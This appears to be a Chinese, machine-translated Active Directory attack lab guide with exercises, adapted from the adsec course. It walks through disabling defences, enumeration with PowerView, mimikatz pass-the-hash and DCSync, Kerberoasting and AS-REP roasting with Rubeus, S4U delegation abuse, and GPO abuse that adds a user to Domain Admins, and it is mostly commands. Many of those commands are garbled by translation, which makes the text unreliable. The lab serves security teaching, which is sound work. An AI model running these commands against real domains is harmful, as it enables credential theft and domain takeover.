Active-Directory-Security-101 手册
后置知识
刚入门的小伙伴京东或者淘宝买这本书可以去看看
Windows Server 2012 R2系统配置指南_戴有伟编着
文章是根据https://github.com/cfalta/adse c改编的。
环境搭建
https://github.com/cfalta/adsec/tree/main/lab-setup
- DC-Windows 2019
- 用户杰克-Windows 2019
- SqlServer-Windows 2019
https:// newsid.softag.com/download在三台机器上以管理员权限执行以下命令。
- 关闭防火墙
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
- 关闭Windows Defender
卸载-WindowsFeature -Name Windows-Defender
下载自动化脚本辅助安装
https://github.com/cfalta/adsec/tree/main/lab-setup/domain-setup-scripts
运行createdomain脚本,自己修改里面的域名称。
这里应该不能一步完成
先执行
安装-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools
重启之后继续执行。重启后执行这个文件功能就是根据json文件去自动添加用户和组等等。
配置域内机
在两台成员机器上使用以下两个域账号注册
约翰·多伊 | 约翰 | P@ssw0rd |
---|---|---|
李小龙 | 流血 | 铁拳真棒! |
user1这台用john认证user2机器用blee登录
https://github.com/cfalta/adsec/blob/main/exercises/attacker-tools
查看有多少电脑和域内用户
获取域计算机 获取域用户
过滤出域管出来
获取域用户| ? { $_ .memberof -like " *域管理员* " } 获取域用户| ? { $_ .memberof -like " *域管理员* " } | 选择 相同的帐户名
sekurlsa::pth /user:Administrator /ntlm:7dfa0531d73101ca080c7379a9bff1c7 /domain:wing.lab
psexec.exe \\ user2 cmd
课后习题
- mimikatz 执行"privilege::debug"和"token::elevate"的目的是什么?为什么需要执行它们?
- 以李小龙的身份登录1。使用您在上面的用户的知识。 john 从内存中远程提取帮助李小龙的 NTLM 哈希。
- 如何解决 PTH 问题,请讲清楚原因。
- 是否有可能(可能会)完全不是NTLM?解释你的理由。Kerberos-烘焙
预习资料网络——AS-REP Roasting
加载插件cd C: \a ttacker-tools 猫生的。\ PowerView.ps1 | 交换器 猫生的。\I nvoke-Rubeus.ps1 | 交换器
查询SPN,获得服务用户
获取域用户-SPN | 选择 samaccountname、 description、pwdlastset、serviceprincipalname
Rubeus 有一个统计 kerberos 数据的功能
Invoke-Rubeus -Command " kerberoast /stats "
获取目标账户的TGS
Invoke-Rubeus -Command " kerberoast /user:taskservice /format:hashcat /outfile:krb5tgs.txt "
这里的脚本是base64之后通过powershell内存加载
函数 调用-Rubeus([string]$Command) { $Message = " base64 " ; $Assembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String( $Message )) [Rubeus.Program]::Main( $Command .Split( " " )) }
破解TGS
. \j ohn.exe .. \. . \k rb5tgs.txt --wordlist=.. \. . \e xample.dict --rules=passphrase-rule2
课后习题
- 描述一下您认为最好的缓解技术,并解释其原因。
- 还有一个用户会受到 ASREP 的影响,请找出来。
- 解释一下TGS vs. ASREP烘焙
Kerberos(委托)
之前设置的时候改json里面的数据,没有域改了委派用户
Get-DomainUser -TrustedToAuth
视委派的目标
Get-DomainUser -TrustedToAuth | 选择 -ExpandProperty msds-allowedtodelegateto
执行这个攻击的条件就是要知道用户的密码才行
生成hashInvoke-Rubeus -Command " hash /password:Amsterdam2015 /domain:wing.lab /user:service1 "
Rubeus 允许在新的登录会话中启动 powershell。只有在这个时候我们即将的票证会话中,不会干扰用户john 已经的kerboers 票证。使用s4u 请求一个TGS 模拟域管理用户Bruce(bwillis) )攻击user1。我们请求3个不同服务的票证CIFS将用于SMB访问HOST/ RPCS for WMI
调用-鲁伯-Command “ S4U /用户:服务1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser:bwillis /msdsspn:cifs/user1.wing.lab / PTT ” 调用-鲁伯-Command “ S4U /用户:服务1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser: bwillis /msdsspn:host/user1.wing.lab / PTT “ 调用-鲁伯-Command ” S4U /用户:服务1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser:bwillis /msdsspn:rpcss/user1.wing.lab / PTT “
查看检查的报告自己前面
我设置错了,委派的目标应该设置成user2,user1 是,但都一样。ls \\ user1.wing.lab \C $
通过wmi控制user1
Get-WmiObject -Class win32_process -ComputerName adsec-01.contoso.com
课后习题
- 在上面的操作中,您通过SMB和WMI获得了服务器用户的读取权限。现在通过这两个协议来执行。目标是执行以下命令,将用户john添加到本地管理组
- 试点模拟域管理员用户查克·诺里斯不是“布鲁斯·威利斯。有什么作用”
ACL攻击
信息收集
猫生的。\S harpound.ps1 | 交换器
Invoke-Bloodhound -CollectionMethod DcOnly -Stealth -PrettyJson -NoSaveCache
- CollectionMethod Dc只表示仅从域控收集数据。从opsec的角度来看,这样比较好,因为是流量正常。
- Stealth单线程启动。速度较慢,但安全。
- PrettyJson 格式化.json文件。
- NoSaveCache 不保存保存文件。
启动血犬下载社区版的neo4j https://neo4j.com/download-center/#releases? jdk11 ? ./neo4j 开始
先把service1标记为已陷陷点这里点击这里用户对域控的组策略有可访问权限,通过组策略利用,攻击DC需要先以service1的身份登录runas /user:wing.lab \s ervice1 powershell
. \S harpGPOAbuse.exe --AddComputerTask --TaskName " Update " --Author contoso \a dminuser --Command " cmd.exe " --Arguments ' /c net group \"Domain Admins\" john /ADD ' --GPOName “默认域控制器策略” --force
写完以后,等管理员更新组策略才有可能触发。
手工弄弄。提权成功登陆到域控。
课后习题- acl 攻击有哪些利用工具?权限维持
权限维持的东西比较多
- 金银笔记本
- 后门
- 等等等等
一般DC权限就先执行lsadump::dcsync /user:krbtgt
所有收到用户hash,也可以作为后门。课后习题
- 自主学习这些权限维持方法的原理。参考答案
我做的特别对,有错误请留言。信息收集
powerview3.0 技巧
https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993- 域里有多少台计算机以及它们在什么上面运行?
- 域有多少用户?显示所有属性查询语句进行,以表格形式呈现给用户,只有相同的用户名、显示名、描述和最后一次密码更改的时间。
- 你能识别出哪些自定义的管理员组?以通用方式更改上面的powershell,只能返回自定义管理组。
Get-DomainGroupMember -Identity “域管理员” -Recurse
- 找到对应管理员组的成员,这些用户上一次设置的密码是什么时候?
- 有快速识别出域中服务帐户的方法吗?写一个powershell查询,所有简单的服务帐户。
获取域用户-SPN | 选择 serviceprincipalname,userprincipalname,pwdlastset,lastlogon
NTLM
猕猴桃命令大全
- mimikatz 执行"privilege::debug"和"token::elevate"的目的是什么?为什么需要执行它们?
privilege::debug - 提升为管理员权限 token::elevate - 奖励奖励,获得其他用户的奖励系统权限
- 以李小龙的身份登录1。使用您在上面的用户的知识。 john 从内存中远程提取帮助李小龙的 NTLM 哈希。
lsadump::dcsync /domain:wing.lab /user:bruce 转储所有数据 lsadump::dcsync /domain:wing.lab /all /csv
- 如何解决 PTH 问题,请讲清楚原因。
- 打上打kb2871997禁止并且SID=500的管理员用户
- 监控日志
- 是否有可能(可能会)完全不是NTLM?解释你的理由。
- 审查收到的 NTLM 调查:允许对所有帐户的审查
- 仅发送NTLMv2响应。
第四点我不太确定。Kerberos(烘焙)
- 描述一下您认为最好的缓解技术,并解释其原因。
- 禁止用户开启Do not require Kerberos preauthentication
- 禁止弱口令
- 还有一个用户会受到 ASREP 的影响,请找出来。
Get-DomainUser -PreauthNotRequired -Verbose
- 解释一下TGS vs. ASREP烘焙
https://www.4hou.com/posts/YVyM
Kerberos(委托)
- 在上面的操作中,您通过SMB和WMI获得了服务器用户的读取权限。现在通过这两个协议来执行。目标是执行以下命令,将用户john添加到本地管理组:
- psexec
wmic /node:user1 process call create " cmd.exe /c net localgroup Administrators john /add "
- 试点模拟域管理员用户查克·诺里斯不是“布鲁斯·威利斯。有什么作用?”
可以攻击域控访问控制列表
acl 攻击有哪些利用工具?
- github.com权限维持自主学习这些权限维持的原理。